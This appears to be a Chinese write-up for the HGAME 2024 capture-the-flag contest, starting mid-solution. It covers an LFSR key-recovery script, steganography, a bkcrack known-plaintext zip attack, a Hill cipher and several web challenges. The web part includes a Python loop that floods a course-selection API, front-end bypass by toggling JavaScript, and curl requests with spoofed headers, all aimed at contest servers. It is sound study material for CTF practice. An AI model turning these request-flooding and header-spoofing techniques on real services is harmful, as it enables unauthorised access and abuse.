'0001101010101010100001001001100010000101010100001010001000100011101100110001001100001001110000110100010101111010110111001101011011101110000011001000100100101000011011101000111001001010011100010001010110111011100100111110111001010010111010100000100111110101110010010110100001000010010001101111001110100010001011101100111011101011101100100101011010101000101001000101110011011111110110011111111100000000011100000010011000110001000110101010001011000010101000110000101001110101010111011010010111011001010011100010101001100110000110101100010000100110101110100001101001011011110011100110011001010110100101010111110110111100000111010001111101110000000000111011011101000011001010010111001110111000100111011110100101000100011011101100011111000101110110110111111001111000000011100011000010000101001011001101110101000010101001000100110010000101001111100101000001011011010011110001101000001101111010100101001100010100000111000011110101010100011011001110001011110111010111011010101101100000110000001010010101111011']
mask='10001001000010000100010010001001'
key = Olist[0][:32]
R = ''
for i in range(32):
    output = 'x'+key[:31]
    print(output)
    out = int(key[-1])^int(output[-1])^int(output[-4])^int(output[-8])^int(output[-11])^int(output[-15])^int(output[-20])^int(output[-25])^int(output[-28])
    R += str(out)
    key = str(out)+key[:31]
print(hex(int(R[::-1],2)))

#算 4 次根据 uuid4 分配即可
hgame\

# MISC

# SignIn(25pt)

换个方式签个到 flag 格式:‘hgame {[A-Z_]+}’

try_another_way_to_see

极度抽象

image-20240202111839063

# 来自星尘的问候 (100pt)

一个即将发售的游戏的主角薇 ^3 带来了一条消息。这段消息隐藏在加密的图片里 但即使解开了图片的六位弱加密,看到的也是一张迷惑的图片。 也许游戏的官网上有这种文字的记录?补充:flag 格式为 hgame\{[a-z0-9_]+\}

python main.py -f secret.jpg -p 123456

steghide: application/zip

打开压缩包

exa

网上社工了属于是,根据提示为来自星尘的游戏的文字记录。

Ctrl Astr 3.14 (my1l.github.io)

找到此类文字的生成网址

hgame\

# simple_attack(100pt)

怎么解开这个压缩包呢?

明显的明文攻击

bkcrack.exe -C attachment.zip -c 103223777_p0.jpg -P 103223777_p0.zip -p 103223777_p0.jpg
bkcrack.exe -C attachment.zip -k e423add9 375dcd1c 1bce583e -U new.zip easy

得到里面的 base64,转图片

得到 flag

download

# 希儿希儿希尔 (120pt)

Ch405 是一名忠实的希儿厨,于是他出了一道这样的题,不过他似乎忘了这个加密的名字不是希儿了(x 虽然经常有人叫错 补充: 图片打不开是正常现象,需要修复 最终得到的大写字母请用 hgame {} 包裹

图片尾部有压缩文件

CVOCRJGMKLDJGBQIUIVXHEYLPNWR

修复图片

fix_secret

lsb 无密码隐写得到希尔密钥

KEY:[8,7|3,8];A=0

解希尔字符串即可

DISAPPEARINTHESEAOFBUTTERFLY

hgame\

# 签到 (10pt)

关注 “凌武科技” 微信公众号,发送 “HGAME2024” 获得 Flag!

hgame\

# WEB

# 2048162048*{16}(250pt)

2048 还是太简单了,柏喵喵决定挑战一下 2048*16

简单的 base64 换表

刷新时 F12,看游戏执行源码,可以找到

var x = [“debu”, “charAt”, “game-over”, “push”, “tile”, “3218200jObBXv”, “gger”, “bestContainer”, “firstChild”, “chain”, “4992592cfFfKg”, “updateBestScore”, “Game over!”, “add”, “score-addition”, “.best-container”, “over”, “.tile-container”, “scoreContainer”, “counter”, “clearMessage”, “tile-”, “tile-merged”, “appendChild”, “remove”, “1457704JdCGrI”, “apply”, “clearContainer”, “message”, “1135845OAckHq”, “init”, “requestAnimationFrame”, “addTile”, “applyClasses”, “\+\+ (?:[a-zA-Z_][0-9a-zA-Z_])”, “value”, “while (true) {}”, “call”, “length”, “querySelector”, “indexOf”, “string”, “div”, “tile-new”, “function *\( *\)”, “setInterval”, “2589jWZTtI”, “updateScore”, “class”, “createElement”, “score”, ‘{}.constructor(“return this”)( )’, “4321134sPxlgc”, “stateObject”, “positionClass”, “action”, “terminated”, “won”, “tile-position-”, “constructor”, “join”, “fromCharCode”, “forEach”, “textContent”, “normalizePosition”, “continueGame”, “previousPosition”, “bestScore”, “3224mBKYMJ”, “1522395ywebnW”, “prototype”, “.score-container”, “actuate”, “getElementsByTagName”, “tile-super”, “classList”, “messageContainer”, “I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK”, “tileContainer”];

其中

I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK

为换表后的 base64 加密字符串,

g[h(432)][h(469)] = function(x) {
var n = h
, e = x ? “game-won” : n(443)
, t = x ? s0(n(439), “V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3”) : n(453);
this[n(438)][n(437)].add(e),
this[n(438)]n(435)[-1257 * -5 + 9 * 1094 + -5377 * 3].textContent = t
}

虽然我看不太懂,但是 game-won 应该时输出了这个 base64 的换表

直接赛博橱子

image-20240202121855359

# Bypass it(100pt)

This page requires javascript to be enabled 😃

js 前端验证,也是第一次见。

用的火狐浏览器

首先在 url 地址栏上输入

about:config

接受风险之后,接着输入

javascript.enabled

将 true 转换成 false

首先要是 javascript.enabled = true; 否则会显示 You don’t have javascript enabled. Good luck with that 😃

然后在登陆界面改换成 false; 点击注册

随便输入用户名即可;注册完成之后在改成 true

然后登陆

hgame\

# jhat(100pt)

jhat is a tool used for analyzing Java heap dump files

提示 1hint1: need rce

提示 2hint2: focus on oql

提示 3hint3: 题目不出网 想办法拿到执行结果

没做

# Select Courses(100pt)

Can you help ma5hr00m select the desired courses?

偶然间用 burp,随意放包选上了一次课,故怀疑概率有课能被选中,写脚本跑这概率事件即可,经测试约 3,700 次所有课全部选中

exp

import requests
url = "http://47.100.245.185:32274/api/courses"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://47.102.130.35:32583/",
    "Content-Type": "application/json",
    "Origin": "http://47.102.130.35:32583",
    "Connection": "close",
}
for _ in range(9999):
    for i in range(1, 6):
        payload = {"id": i}
        response = requests.post(url, json=payload, headers=headers)
   	    print(f"Status Code: {response.status_code}, Response: {response.text}")

hgame{w0W_!_1E4Rn_To_u5e_5cripThgame\{w0W\_!\_1E4Rn\_To\_u5e\_5cripT_\__}

# ezHTTP(50pt)

HTTP Protocol Basics

curl -v -H "Referer: vidar.club" -H "User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" -H "X-Real-IP: 127.0.0.1" http://47.100.137.175:31983 2>&1 | grep --color -E 'Authorization'
##
< Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc
##
使用 awk 命令根据点号分隔 JWT,并对每一部分进行 base64 解码。
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc" | awk -F. '{print $2}' | base64 --decode
##
{"F14g":"hgame{HTTP_!s_1mP0rT4nt}"}
##